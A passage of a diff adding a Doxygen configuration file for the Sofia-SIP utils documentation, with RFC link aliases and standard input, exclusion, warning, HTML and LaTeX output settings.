+                         "RFC5480=<a href=\"http://www.faqs.org/rfcs/rfc5480.html\">RFC 5480</a>" \
+                         "RFC5481=<a href=\"http://www.faqs.org/rfcs/rfc5481.html\">RFC 5481</a>" \
+                         "RFC5482=<a href=\"http://www.faqs.org/rfcs/rfc5482.html\">RFC 5482</a>" \
+                         "RFC5483=<a href=\"http://www.faqs.org/rfcs/rfc5483.html\">RFC 5483</a>" \
+                         "RFC5484=<a href=\"http://www.faqs.org/rfcs/rfc5484.html\">RFC 5484</a>" \
+                         "RFC5485=<a href=\"http://www.faqs.org/rfcs/rfc5485.html\">RFC 5485</a>" \
+                         "RFC5486=<a href=\"http://www.faqs.org/rfcs/rfc5486.html\">RFC 5486</a>" \
+                         "RFC5487=<a href=\"http://www.faqs.org/rfcs/rfc5487.html\">RFC 5487</a>" \
+                         "RFC5488=<a href=\"http://www.faqs.org/rfcs/rfc5488.html\">RFC 5488</a>" \
+                         "RFC5489=<a href=\"http://www.faqs.org/rfcs/rfc5489.html\">RFC 5489</a>" \
+                         "RFC5490=<a href=\"http://www.faqs.org/rfcs/rfc5490.html\">RFC 5490</a>" \
+                         "RFC5491=<a href=\"http://www.faqs.org/rfcs/rfc5491.html\">RFC 5491</a>" \
+                         "RFC5492=<a href=\"http://www.faqs.org/rfcs/rfc5492.html\">RFC 5492</a>" \
+                         "RFC5493=<a href=\"http://www.faqs.org/rfcs/rfc5493.html\">RFC 5493</a>" \
+                         "RFC5494=<a href=\"http://www.faqs.org/rfcs/rfc5494.html\">RFC 5494</a>" \
+                         "RFC5495=<a href=\"http://www.faqs.org/rfcs/rfc5495.html\">RFC 5495</a>" \
+                         "RFC5496=<a href=\"http://www.faqs.org/rfcs/rfc5496.html\">RFC 5496</a>" \
+                         "RFC5497=<a href=\"http://www.faqs.org/rfcs/rfc5497.html\">RFC 5497</a>" \
+                         "RFC5498=<a href=\"http://www.faqs.org/rfcs/rfc5498.html\">RFC 5498</a>" \
+                         "RFC5499=<a href=\"http://www.faqs.org/rfcs/rfc5499.html\">RFC 5499</a>"
+
+# Set the OPTIMIZE_OUTPUT_FOR_C tag to YES if your project consists of C 
+# sources only. Doxygen will then generate output that is more tailored for C. 
+# For instance, some of the names that are used will be different. The list 
+# of all members will be omitted, etc.
+
+OPTIMIZE_OUTPUT_FOR_C  = YES
+
+# Set the OPTIMIZE_OUTPUT_JAVA tag to YES if your project consists of Java 
+# sources only. Doxygen will then generate output that is more tailored for 
+# Java. For instance, namespaces will be presented as packages, qualified 
+# scopes will look different, etc.
+
+OPTIMIZE_OUTPUT_JAVA   = NO
+
+# Set the OPTIMIZE_FOR_FORTRAN tag to YES if your project consists of Fortran 
+# sources only. Doxygen will then generate output that is more tailored for 
+# Fortran.
+
+OPTIMIZE_FOR_FORTRAN   = NO
+
+# Set the OPTIMIZE_OUTPUT_VHDL tag to YES if your project consists of VHDL 
+# sources. Doxygen will then generate output that is tailored for 
+# VHDL.
+
+OPTIMIZE_OUTPUT_VHDL   = NO
+
+# If you use STL classes (i.e. std::string, std::vector, etc.) but do not want 
+# to include (a tag file for) the STL sources as input, then you should 
+# set this tag to YES in order to let doxygen match functions declarations and 
+# definitions whose arguments contain STL classes (e.g. func(std::string); v.s. 
+# func(std::string) {}). This also make the inheritance and collaboration 
+# diagrams that involve STL classes more complete and accurate.
+
+BUILTIN_STL_SUPPORT    = NO
+
+# If you use Microsoft's C++/CLI language, you should set this option to YES to
+# enable parsing support.
+
+CPP_CLI_SUPPORT        = NO
+
+# Set the SIP_SUPPORT tag to YES if your project consists of sip sources only. 
+# Doxygen will parse them like normal C++ but will assume all classes use public 
+# instead of private inheritance when no explicit protection keyword is present.
+
+SIP_SUPPORT            = NO
+
+# For Microsoft's IDL there are propget and propput attributes to indicate getter 
+# and setter methods for a property. Setting this option to YES (the default) 
+# will make doxygen to replace the get and set methods by a property in the 
+# documentation. This will only work if the methods are indeed getting or 
+# setting a simple type. If this is not the case, or you want to show the 
+# methods anyway, you should set this option to NO.
+
+IDL_PROPERTY_SUPPORT   = YES
+
+# If member grouping is used in the documentation and the DISTRIBUTE_GROUP_DOC 
+# tag is set to YES, then doxygen will reuse the documentation of the first 
+# member in the group (if any) for the other members of the group. By default 
+# all members of a group must be documented explicitly.
+
+DISTRIBUTE_GROUP_DOC   = NO
+
+# Set the SUBGROUPING tag to YES (the default) to allow class member groups of 
+# the same type (for instance a group of public functions) to be put as a 
+# subgroup of that type (e.g. under the Public Functions section). Set it to 
+# NO to prevent subgrouping. Alternatively, this can be done per class using 
+# the \nosubgrouping command.
+
+SUBGROUPING            = YES
+
+# When TYPEDEF_HIDES_STRUCT is enabled, a typedef of a struct, union, or enum 
+# is documented as struct, union, or enum with the name of the typedef. So 
+# typedef struct TypeS {} TypeT, will appear in the documentation as a struct 
+# with name TypeT. When disabled the typedef will appear as a member of a file, 
+# namespace, or class. And the struct will be named TypeS. This can typically 
+# be useful for C code in case the coding convention dictates that all compound 
+# types are typedef'ed and only the typedef is referenced, never the tag name.
+
+TYPEDEF_HIDES_STRUCT   = NO
+
+# The SYMBOL_CACHE_SIZE determines the size of the internal cache use to 
+# determine which symbols to keep in memory and which to flush to disk.
+# When the cache is full, less often used symbols will be written to disk.
+# For small to medium size projects (<1000 input files) the default value is 
+# probably good enough. For larger projects a too small cache size can cause 
+# doxygen to be busy swapping symbols to and from disk most of the time 
+# causing a significant performance penality. 
+# If the system has enough physical memory increasing the cache will improve the 
+# performance by keeping more symbols in memory. Note that the value works on 
+# a logarithmic scale so increasing the size by one will rougly double the 
+# memory usage. The cache size is given by this formula: 
+# 2^(16+SYMBOL_CACHE_SIZE). The valid range is 0..9, the default is 0, 
+# corresponding to a cache size of 2^16 = 65536 symbols
+
+SYMBOL_CACHE_SIZE      = 0
+
+#---------------------------------------------------------------------------
+# Build related configuration options
+#---------------------------------------------------------------------------
+
+# If the EXTRACT_ALL tag is set to YES doxygen will assume all entities in 
+# documentation are documented, even if no documentation was available. 
+# Private class members and static file members will be hidden unless 
+# the EXTRACT_PRIVATE and EXTRACT_STATIC tags are set to YES
+
+EXTRACT_ALL            = NO
+
+# If the EXTRACT_PRIVATE tag is set to YES all private members of a class 
+# will be included in the documentation.
+
+EXTRACT_PRIVATE        = NO
+
+# If the EXTRACT_STATIC tag is set to YES all static members of a file 
+# will be included in the documentation.
+
+EXTRACT_STATIC         = NO
+
+# If the EXTRACT_LOCAL_CLASSES tag is set to YES classes (and structs) 
+# defined locally in source files will be included in the documentation. 
+# If set to NO only classes defined in header files are included.
+
+EXTRACT_LOCAL_CLASSES  = YES
+
+# This flag is only useful for Objective-C code. When set to YES local 
+# methods, which are defined in the implementation section but not in 
+# the interface are included in the documentation. 
+# If set to NO (the default) only methods in the interface are included.
+
+EXTRACT_LOCAL_METHODS  = NO
+
+# If this flag is set to YES, the members of anonymous namespaces will be 
+# extracted and appear in the documentation as a namespace called 
+# 'anonymous_namespace{file}', where file will be replaced with the base 
+# name of the file that contains the anonymous namespace. By default 
+# anonymous namespace are hidden.
+
+EXTRACT_ANON_NSPACES   = NO
+
+# If the HIDE_UNDOC_MEMBERS tag is set to YES, Doxygen will hide all 
+# undocumented members of documented classes, files or namespaces. 
+# If set to NO (the default) these members will be included in the 
+# various overviews, but no documentation section is generated. 
+# This option has no effect if EXTRACT_ALL is enabled.
+
+HIDE_UNDOC_MEMBERS     = YES
+
+# If the HIDE_UNDOC_CLASSES tag is set to YES, Doxygen will hide all 
+# undocumented classes that are normally visible in the class hierarchy. 
+# If set to NO (the default) these classes will be included in the various 
+# overviews. This option has no effect if EXTRACT_ALL is enabled.
+
+HIDE_UNDOC_CLASSES     = YES
+
+# If the HIDE_FRIEND_COMPOUNDS tag is set to YES, Doxygen will hide all 
+# friend (class|struct|union) declarations. 
+# If set to NO (the default) these declarations will be included in the 
+# documentation.
+
+HIDE_FRIEND_COMPOUNDS  = NO
+
+# If the HIDE_IN_BODY_DOCS tag is set to YES, Doxygen will hide any 
+# documentation blocks found inside the body of a function. 
+# If set to NO (the default) these blocks will be appended to the 
+# function's detailed documentation block.
+
+HIDE_IN_BODY_DOCS      = NO
+
+# The INTERNAL_DOCS tag determines if documentation 
+# that is typed after a \internal command is included. If the tag is set 
+# to NO (the default) then the documentation will be excluded. 
+# Set it to YES to include the internal documentation.
+
+INTERNAL_DOCS          = NO
+
+# If the CASE_SENSE_NAMES tag is set to NO then Doxygen will only generate 
+# file names in lower-case letters. If set to YES upper-case letters are also 
+# allowed. This is useful if you have classes or files whose names only differ 
+# in case and if your file system supports case sensitive file names. Windows 
+# and Mac users are advised to set this option to NO.
+
+CASE_SENSE_NAMES       = YES
+
+# If the HIDE_SCOPE_NAMES tag is set to NO (the default) then Doxygen 
+# will show members with their full class and namespace scopes in the 
+# documentation. If set to YES the scope will be hidden.
+
+HIDE_SCOPE_NAMES       = YES
+
+# If the SHOW_INCLUDE_FILES tag is set to YES (the default) then Doxygen 
+# will put a list of the files that are included by a file in the documentation 
+# of that file.
+
+SHOW_INCLUDE_FILES     = YES
+
+# If the INLINE_INFO tag is set to YES (the default) then a tag [inline] 
+# is inserted in the documentation for inline members.
+
+INLINE_INFO            = YES
+
+# If the SORT_MEMBER_DOCS tag is set to YES (the default) then doxygen 
+# will sort the (detailed) documentation of file and class members 
+# alphabetically by member name. If set to NO the members will appear in 
+# declaration order.
+
+SORT_MEMBER_DOCS       = YES
+
+# If the SORT_BRIEF_DOCS tag is set to YES then doxygen will sort the 
+# brief documentation of file, namespace and class members alphabetically 
+# by member name. If set to NO (the default) the members will appear in 
+# declaration order.
+
+SORT_BRIEF_DOCS        = NO
+
+# If the SORT_GROUP_NAMES tag is set to YES then doxygen will sort the 
+# hierarchy of group names into alphabetical order. If set to NO (the default) 
+# the group names will appear in their defined order.
+
+SORT_GROUP_NAMES       = NO
+
+# If the SORT_BY_SCOPE_NAME tag is set to YES, the class list will be 
+# sorted by fully-qualified names, including namespaces. If set to 
+# NO (the default), the class list will be sorted only by class name, 
+# not including the namespace part. 
+# Note: This option is not very useful if HIDE_SCOPE_NAMES is set to YES.
+# Note: This option applies only to the class list, not to the 
+# alphabetical list.
+
+SORT_BY_SCOPE_NAME     = NO
+
+# The GENERATE_TODOLIST tag can be used to enable (YES) or 
+# disable (NO) the todo list. This list is created by putting \todo 
+# commands in the documentation.
+
+GENERATE_TODOLIST      = YES
+
+# The GENERATE_TESTLIST tag can be used to enable (YES) or 
+# disable (NO) the test list. This list is created by putting \test 
+# commands in the documentation.
+
+GENERATE_TESTLIST      = YES
+
+# The GENERATE_BUGLIST tag can be used to enable (YES) or 
+# disable (NO) the bug list. This list is created by putting \bug 
+# commands in the documentation.
+
+GENERATE_BUGLIST       = YES
+
+# The GENERATE_DEPRECATEDLIST tag can be used to enable (YES) or 
+# disable (NO) the deprecated list. This list is created by putting 
+# \deprecated commands in the documentation.
+
+GENERATE_DEPRECATEDLIST= YES
+
+# The ENABLED_SECTIONS tag can be used to enable conditional 
+# documentation sections, marked by \if sectionname ... \endif.
+
+ENABLED_SECTIONS       = 
+
+# The MAX_INITIALIZER_LINES tag determines the maximum number of lines 
+# the initial value of a variable or define consists of for it to appear in 
+# the documentation. If the initializer consists of more lines than specified 
+# here it will be hidden. Use a value of 0 to hide initializers completely. 
+# The appearance of the initializer of individual variables and defines in the 
+# documentation can be controlled using \showinitializer or \hideinitializer 
+# command in the documentation regardless of this setting.
+
+MAX_INITIALIZER_LINES  = 0
+
+# Set the SHOW_USED_FILES tag to NO to disable the list of files generated 
+# at the bottom of the documentation of classes and structs. If set to YES the 
+# list will mention the files that were used to generate the documentation.
+
+SHOW_USED_FILES        = NO
+
+# If the sources in your project are distributed over multiple directories 
+# then setting the SHOW_DIRECTORIES tag to YES will show the directory hierarchy 
+# in the documentation. The default is NO.
+
+SHOW_DIRECTORIES       = NO
+
+# Set the SHOW_FILES tag to NO to disable the generation of the Files page.
+# This will remove the Files entry from the Quick Index and from the 
+# Folder Tree View (if specified). The default is YES.
+
+SHOW_FILES             = YES
+
+# Set the SHOW_NAMESPACES tag to NO to disable the generation of the 
+# Namespaces page.  This will remove the Namespaces entry from the Quick Index
+# and from the Folder Tree View (if specified). The default is YES.
+
+SHOW_NAMESPACES        = YES
+
+# The FILE_VERSION_FILTER tag can be used to specify a program or script that 
+# doxygen should invoke to get the current version for each file (typically from 
+# the version control system). Doxygen will invoke the program by executing (via 
+# popen()) the command <command> <input-file>, where <command> is the value of 
+# the FILE_VERSION_FILTER tag, and <input-file> is the name of an input file 
+# provided by doxygen. Whatever the program writes to standard output 
+# is used as the file version. See the manual for examples.
+
+FILE_VERSION_FILTER    = 
+
+# The LAYOUT_FILE tag can be used to specify a layout file which will be parsed by 
+# doxygen. The layout file controls the global structure of the generated output files 
+# in an output format independent way. The create the layout file that represents 
+# doxygen's defaults, run doxygen with the -l option. You can optionally specify a 
+# file name after the option, if omitted DoxygenLayout.xml will be used as the name 
+# of the layout file.
+
+LAYOUT_FILE            = 
+
+#---------------------------------------------------------------------------
+# configuration options related to warning and progress messages
+#---------------------------------------------------------------------------
+
+# The QUIET tag can be used to turn on/off the messages that are generated 
+# by doxygen. Possible values are YES and NO. If left blank NO is used.
+
+QUIET                  = YES
+
+# The WARNINGS tag can be used to turn on/off the warning messages that are 
+# generated by doxygen. Possible values are YES and NO. If left blank 
+# NO is used.
+
+WARNINGS               = YES
+
+# If WARN_IF_UNDOCUMENTED is set to YES, then doxygen will generate warnings 
+# for undocumented members. If EXTRACT_ALL is set to YES then this flag will 
+# automatically be disabled.
+
+WARN_IF_UNDOCUMENTED   = YES
+
+# If WARN_IF_DOC_ERROR is set to YES, doxygen will generate warnings for 
+# potential errors in the documentation, such as not documenting some 
+# parameters in a documented function, or documenting parameters that 
+# don't exist or using markup commands wrongly.
+
+WARN_IF_DOC_ERROR      = YES
+
+# This WARN_NO_PARAMDOC option can be abled to get warnings for 
+# functions that are documented, but have no documentation for their parameters 
+# or return value. If set to NO (the default) doxygen will only warn about 
+# wrong or incomplete parameter documentation, but not about the absence of 
+# documentation.
+
+WARN_NO_PARAMDOC       = NO
+
+# The WARN_FORMAT tag determines the format of the warning messages that 
+# doxygen can produce. The string should contain the $file, $line, and $text 
+# tags, which will be replaced by the file and line number from which the 
+# warning originated and the warning text. Optionally the format may contain 
+# $version, which will be replaced by the version of the file (if it could 
+# be obtained via FILE_VERSION_FILTER)
+
+WARN_FORMAT            = "$file:$line: $text"
+
+# The WARN_LOGFILE tag can be used to specify a file to which warning 
+# and error messages should be written. If left blank the output is written 
+# to stderr.
+
+WARN_LOGFILE           = 
+
+#---------------------------------------------------------------------------
+# configuration options related to the input files
+#---------------------------------------------------------------------------
+
+# The INPUT tag can be used to specify the files and/or directories that contain 
+# documented source files. You may enter file names like "myfile.cpp" or 
+# directories like "/usr/src/myproject". Separate the files or directories 
+# with spaces.
+
+INPUT                  = @srcdir@/utils.docs \
+                         @srcdir@ \
+                         @top_srcdir@/libsofia-sip-ua/su/localinfo.c \
+                         @top_srcdir@/libsofia-sip-ua/su/addrinfo.c \
+                         @top_srcdir@/libsofia-sip-ua/stun/stunc.c
+
+# This tag can be used to specify the character encoding of the source files 
+# that doxygen parses. Internally doxygen uses the UTF-8 encoding, which is 
+# also the default input encoding. Doxygen uses libiconv (or the iconv built 
+# into libc) for the transcoding. See http://www.gnu.org/software/libiconv for 
+# the list of possible encodings.
+
+INPUT_ENCODING         = UTF-8
+
+# If the value of the INPUT tag contains directories, you can use the 
+# FILE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp 
+# and *.h) to filter out the source-files in the directories. If left 
+# blank the following patterns are tested: 
+# *.c *.cc *.cxx *.cpp *.c++ *.java *.ii *.ixx *.ipp *.i++ *.inl *.h *.hh *.hxx 
+# *.hpp *.h++ *.idl *.odl *.cs *.php *.php3 *.inc *.m *.mm *.py *.f90
+
+FILE_PATTERNS          = *.h \
+                         *.c
+
+# The RECURSIVE tag can be used to turn specify whether or not subdirectories 
+# should be searched for input files as well. Possible values are YES and NO. 
+# If left blank NO is used.
+
+RECURSIVE              = NO
+
+# The EXCLUDE tag can be used to specify files and/or directories that should 
+# excluded from the INPUT source files. This way you can easily exclude a 
+# subdirectory from a directory tree whose root is specified with the INPUT tag.
+
+EXCLUDE                = 
+
+# The EXCLUDE_SYMLINKS tag can be used select whether or not files or 
+# directories that are symbolic links (a Unix filesystem feature) are excluded 
+# from the input.
+
+EXCLUDE_SYMLINKS       = NO
+
+# If the value of the INPUT tag contains directories, you can use the 
+# EXCLUDE_PATTERNS tag to specify one or more wildcard patterns to exclude 
+# certain files from those directories. Note that the wildcards are matched 
+# against the file with absolute path, so to exclude all test directories 
+# for example use the pattern */test/*
+
+EXCLUDE_PATTERNS       = acconfig.h \
+                         config.h \
+                         confdefs.h \
+                         test*.h \
+                         test*.c \
+                         torture*.c \
+                         *test.c \
+                         *torture.c \
+                         *_tag_dll.c \
+                         *_tag_ref.c
+
+# The EXCLUDE_SYMBOLS tag can be used to specify one or more symbol names 
+# (namespaces, classes, functions, etc.) that should be excluded from the 
+# output. The symbol name can be a fully qualified name, a word, or if the 
+# wildcard * is used, a substring. Examples: ANamespace, AClass, 
+# AClass::ANamespace, ANamespace::*Test
+
+EXCLUDE_SYMBOLS        = 
+
+# The EXAMPLE_PATH tag can be used to specify one or more files or 
+# directories that contain example code fragments that are included (see 
+# the \include command).
+
+EXAMPLE_PATH           = 
+
+# If the value of the EXAMPLE_PATH tag contains directories, you can use the 
+# EXAMPLE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp 
+# and *.h) to filter out the source-files in the directories. If left 
+# blank all files are included.
+
+EXAMPLE_PATTERNS       = 
+
+# If the EXAMPLE_RECURSIVE tag is set to YES then subdirectories will be 
+# searched for input files to be used with the \include or \dontinclude 
+# commands irrespective of the value of the RECURSIVE tag. 
+# Possible values are YES and NO. If left blank NO is used.
+
+EXAMPLE_RECURSIVE      = NO
+
+# The IMAGE_PATH tag can be used to specify one or more files or 
+# directories that contain image that are included in the documentation (see 
+# the \image command).
+
+IMAGE_PATH             = 
+
+# The INPUT_FILTER tag can be used to specify a program that doxygen should 
+# invoke to filter for each input file. Doxygen will invoke the filter program 
+# by executing (via popen()) the command <filter> <input-file>, where <filter> 
+# is the value of the INPUT_FILTER tag, and <input-file> is the name of an 
+# input file. Doxygen will then use the output that the filter program writes 
+# to standard output.  If FILTER_PATTERNS is specified, this tag will be 
+# ignored.
+
+INPUT_FILTER           = 
+
+# The FILTER_PATTERNS tag can be used to specify filters on a per file pattern 
+# basis.  Doxygen will compare the file name with each pattern and apply the 
+# filter if there is a match.  The filters are a list of the form: 
+# pattern=filter (like *.cpp=my_cpp_filter). See INPUT_FILTER for further 
+# info on how filters are used. If FILTER_PATTERNS is empty, INPUT_FILTER 
+# is applied to all files.
+
+FILTER_PATTERNS        = 
+
+# If the FILTER_SOURCE_FILES tag is set to YES, the input filter (if set using 
+# INPUT_FILTER) will be used to filter the input files when producing source 
+# files to browse (i.e. when SOURCE_BROWSER is set to YES).
+
+FILTER_SOURCE_FILES    = NO
+
+#---------------------------------------------------------------------------
+# configuration options related to source browsing
+#---------------------------------------------------------------------------
+
+# If the SOURCE_BROWSER tag is set to YES then a list of source files will 
+# be generated. Documented entities will be cross-referenced with these sources. 
+# Note: To get rid of all source code in the generated output, make sure also 
+# VERBATIM_HEADERS is set to NO.
+
+SOURCE_BROWSER         = NO
+
+# Setting the INLINE_SOURCES tag to YES will include the body 
+# of functions and classes directly in the documentation.
+
+INLINE_SOURCES         = NO
+
+# Setting the STRIP_CODE_COMMENTS tag to YES (the default) will instruct 
+# doxygen to hide any special comment blocks from generated source code 
+# fragments. Normal C and C++ comments will always remain visible.
+
+STRIP_CODE_COMMENTS    = YES
+
+# If the REFERENCED_BY_RELATION tag is set to YES 
+# then for each documented function all documented 
+# functions referencing it will be listed.
+
+REFERENCED_BY_RELATION = NO
+
+# If the REFERENCES_RELATION tag is set to YES 
+# then for each documented function all documented entities 
+# called/used by that function will be listed.
+
+REFERENCES_RELATION    = NO
+
+# If the REFERENCES_LINK_SOURCE tag is set to YES (the default)
+# and SOURCE_BROWSER tag is set to YES, then the hyperlinks from
+# functions in REFERENCES_RELATION and REFERENCED_BY_RELATION lists will
+# link to the source code.  Otherwise they will link to the documentstion.
+
+REFERENCES_LINK_SOURCE = YES
+
+# If the USE_HTAGS tag is set to YES then the references to source code 
+# will point to the HTML generated by the htags(1) tool instead of doxygen 
+# built-in source browser. The htags tool is part of GNU's global source 
+# tagging system (see http://www.gnu.org/software/global/global.html). You 
+# will need version 4.8.6 or higher.
+
+USE_HTAGS              = NO
+
+# If the VERBATIM_HEADERS tag is set to YES (the default) then Doxygen 
+# will generate a verbatim copy of the header file for each class for 
+# which an include is specified. Set to NO to disable this.
+
+VERBATIM_HEADERS       = YES
+
+#---------------------------------------------------------------------------
+# configuration options related to the alphabetical class index
+#---------------------------------------------------------------------------
+
+# If the ALPHABETICAL_INDEX tag is set to YES, an alphabetical index 
+# of all compounds will be generated. Enable this if the project 
+# contains a lot of classes, structs, unions or interfaces.
+
+ALPHABETICAL_INDEX     = NO
+
+# If the alphabetical index is enabled (see ALPHABETICAL_INDEX) then 
+# the COLS_IN_ALPHA_INDEX tag can be used to specify the number of columns 
+# in which this list will be split (can be a number in the range [1..20])
+
+COLS_IN_ALPHA_INDEX    = 5
+
+# In case all classes in a project start with a common prefix, all 
+# classes will be put under the same header in the alphabetical index. 
+# The IGNORE_PREFIX tag can be used to specify one or more prefixes that 
+# should be ignored while generating the index headers.
+
+IGNORE_PREFIX          = 
+
+#---------------------------------------------------------------------------
+# configuration options related to the HTML output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_HTML tag is set to YES (the default) Doxygen will 
+# generate HTML output.
+
+GENERATE_HTML          = NO
+
+# The HTML_OUTPUT tag is used to specify where the HTML docs will be put. 
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be 
+# put in front of it. If left blank `html' will be used as the default path.
+
+HTML_OUTPUT            = ../libsofia-sip-ua/docs/html/utils
+
+# The HTML_FILE_EXTENSION tag can be used to specify the file extension for 
+# each generated HTML page (for example: .htm,.php,.asp). If it is left blank 
+# doxygen will generate files with .html extension.
+
+HTML_FILE_EXTENSION    = .html
+
+# The HTML_HEADER tag can be used to specify a personal HTML header for 
+# each generated HTML page. If it is left blank doxygen will generate a 
+# standard header.
+
+HTML_HEADER            = 
+
+# The HTML_FOOTER tag can be used to specify a personal HTML footer for 
+# each generated HTML page. If it is left blank doxygen will generate a 
+# standard footer.
+
+HTML_FOOTER            = 
+
+# The HTML_STYLESHEET tag can be used to specify a user-defined cascading 
+# style sheet that is used by each HTML page. It can be used to 
+# fine-tune the look of the HTML output. If the tag is left blank doxygen 
+# will generate a default style sheet. Note that doxygen will try to copy 
+# the style sheet file to the HTML output directory, so don't put your own 
+# stylesheet in the HTML output directory as well, or it will be erased!
+
+HTML_STYLESHEET        = 
+
+# If the HTML_ALIGN_MEMBERS tag is set to YES, the members of classes, 
+# files or namespaces will be aligned in HTML using tables. If set to 
+# NO a bullet list will be used.
+
+HTML_ALIGN_MEMBERS     = YES
+
+# If the HTML_DYNAMIC_SECTIONS tag is set to YES then the generated HTML 
+# documentation will contain sections that can be hidden and shown after the 
+# page has loaded. For this to work a browser that supports 
+# JavaScript and DHTML is required (for instance Mozilla 1.0+, Firefox 
+# Netscape 6.0+, Internet explorer 5.0+, Konqueror, or Safari).
+
+HTML_DYNAMIC_SECTIONS  = NO
+
+# If the GENERATE_DOCSET tag is set to YES, additional index files 
+# will be generated that can be used as input for Apple's Xcode 3 
+# integrated development environment, introduced with OSX 10.5 (Leopard). 
+# To create a documentation set, doxygen will generate a Makefile in the 
+# HTML output directory. Running make will produce the docset in that 
+# directory and running "make install" will install the docset in 
+# ~/Library/Developer/Shared/Documentation/DocSets so that Xcode will find 
+# it at startup. 
+# See http://developer.apple.com/tools/creatingdocsetswithdoxygen.html for more information.
+
+GENERATE_DOCSET        = NO
+
+# When GENERATE_DOCSET tag is set to YES, this tag determines the name of the 
+# feed. A documentation feed provides an umbrella under which multiple 
+# documentation sets from a single provider (such as a company or product suite) 
+# can be grouped.
+
+DOCSET_FEEDNAME        = "Doxygen generated docs"
+
+# When GENERATE_DOCSET tag is set to YES, this tag specifies a string that 
+# should uniquely identify the documentation set bundle. This should be a 
+# reverse domain-name style string, e.g. com.mycompany.MyDocSet. Doxygen 
+# will append .docset to the name.
+
+DOCSET_BUNDLE_ID       = org.doxygen.Project
+
+# If the GENERATE_HTMLHELP tag is set to YES, additional index files 
+# will be generated that can be used as input for tools like the 
+# Microsoft HTML help workshop to generate a compiled HTML help file (.chm) 
+# of the generated HTML documentation.
+
+GENERATE_HTMLHELP      = NO
+
+# If the GENERATE_HTMLHELP tag is set to YES, the CHM_FILE tag can 
+# be used to specify the file name of the resulting .chm file. You 
+# can add a path in front of the file if the result should not be 
+# written to the html output directory.
+
+CHM_FILE               = 
+
+# If the GENERATE_HTMLHELP tag is set to YES, the HHC_LOCATION tag can 
+# be used to specify the location (absolute path including file name) of 
+# the HTML help compiler (hhc.exe). If non-empty doxygen will try to run 
+# the HTML help compiler on the generated index.hhp.
+
+HHC_LOCATION           = 
+
+# If the GENERATE_HTMLHELP tag is set to YES, the GENERATE_CHI flag 
+# controls if a separate .chi index file is generated (YES) or that 
+# it should be included in the master .chm file (NO).
+
+GENERATE_CHI           = NO
+
+# If the GENERATE_HTMLHELP tag is set to YES, the CHM_INDEX_ENCODING
+# is used to encode HtmlHelp index (hhk), content (hhc) and project file
+# content.
+
+CHM_INDEX_ENCODING     = 
+
+# If the GENERATE_HTMLHELP tag is set to YES, the BINARY_TOC flag 
+# controls whether a binary table of contents is generated (YES) or a 
+# normal table of contents (NO) in the .chm file.
+
+BINARY_TOC             = NO
+
+# The TOC_EXPAND flag can be set to YES to add extra items for group members 
+# to the contents of the HTML help documentation and to the tree view.
+
+TOC_EXPAND             = NO
+
+# If the GENERATE_QHP tag is set to YES and both QHP_NAMESPACE and QHP_VIRTUAL_FOLDER 
+# are set, an additional index file will be generated that can be used as input for 
+# Qt's qhelpgenerator to generate a Qt Compressed Help (.qch) of the generated 
+# HTML documentation.
+
+GENERATE_QHP           = NO
+
+# If the QHG_LOCATION tag is specified, the QCH_FILE tag can 
+# be used to specify the file name of the resulting .qch file. 
+# The path specified is relative to the HTML output folder.
+
+QCH_FILE               = 
+
+# The QHP_NAMESPACE tag specifies the namespace to use when generating 
+# Qt Help Project output. For more information please see 
+# <a href="http://doc.trolltech.com/qthelpproject.html#namespace">Qt Help Project / Namespace</a>.
+
+QHP_NAMESPACE          = org.doxygen.Project
+
+# The QHP_VIRTUAL_FOLDER tag specifies the namespace to use when generating 
+# Qt Help Project output. For more information please see 
+# <a href="http://doc.trolltech.com/qthelpproject.html#virtual-folders">Qt Help Project / Virtual Folders</a>.
+
+QHP_VIRTUAL_FOLDER     = doc
+
+# If the GENERATE_QHP tag is set to YES, the QHG_LOCATION tag can 
+# be used to specify the location of Qt's qhelpgenerator. 
+# If non-empty doxygen will try to run qhelpgenerator on the generated 
+# .qhp file .
+
+QHG_LOCATION           = 
+
+# The DISABLE_INDEX tag can be used to turn on/off the condensed index at 
+# top of each HTML page. The value NO (the default) enables the index and 
+# the value YES disables it.
+
+DISABLE_INDEX          = NO
+
+# This tag can be used to set the number of enum values (range [1..20]) 
+# that doxygen will group on one line in the generated HTML documentation.
+
+ENUM_VALUES_PER_LINE   = 1
+
+# The GENERATE_TREEVIEW tag is used to specify whether a tree-like index
+# structure should be generated to display hierarchical information.
+# If the tag value is set to FRAME, a side panel will be generated
+# containing a tree-like index structure (just like the one that 
+# is generated for HTML Help). For this to work a browser that supports 
+# JavaScript, DHTML, CSS and frames is required (for instance Mozilla 1.0+, 
+# Netscape 6.0+, Internet explorer 5.0+, or Konqueror). Windows users are 
+# probably better off using the HTML help feature. Other possible values 
+# for this tag are: HIERARCHIES, which will generate the Groups, Directories,
+# and Class Hierarchy pages using a tree view instead of an ordered list;
+# ALL, which combines the behavior of FRAME and HIERARCHIES; and NONE, which
+# disables this behavior completely. For backwards compatibility with previous
+# releases of Doxygen, the values YES and NO are equivalent to FRAME and NONE
+# respectively.
+
+GENERATE_TREEVIEW      = NONE
+
+# If the treeview is enabled (see GENERATE_TREEVIEW) then this tag can be 
+# used to set the initial width (in pixels) of the frame in which the tree 
+# is shown.
+
+TREEVIEW_WIDTH         = 250
+
+# Use this tag to change the font size of Latex formulas included 
+# as images in the HTML documentation. The default is 10. Note that 
+# when you change the font size after a successful doxygen run you need 
+# to manually remove any form_*.png images from the HTML output directory 
+# to force them to be regenerated.
+
+FORMULA_FONTSIZE       = 10
+
+#---------------------------------------------------------------------------
+# configuration options related to the LaTeX output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_LATEX tag is set to YES (the default) Doxygen will 
+# generate Latex output.
+
+GENERATE_LATEX         = NO
+
+# The LATEX_OUTPUT tag is used to specify where the LaTeX docs will be put. 
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be 
+# put in front of it. If left blank `latex' will be used as the default path.
+
+LATEX_OUTPUT           = latex
+
+# The LATEX_CMD_NAME tag can be used to specify the LaTeX command name to be 
+# invoked. If left blank `latex' will be used as the default command name.
+
+LATEX_CMD_NAME         = latex
+
+# The MAKEINDEX_CMD_NAME tag can be used to specify the command name to 
+# generate index for LaTeX. If left blank `makeindex' will be used as the 
+# default command name.
+
+MAKEINDEX_CMD_NAME     = makeindex
+
+# If the COMPACT_LATEX tag is set to YES Doxygen generates more compact 
+# LaTeX documents. This may be useful for small projects and may help to 
+# save some trees in general.
+
+COMPACT_LATEX          = NO
+
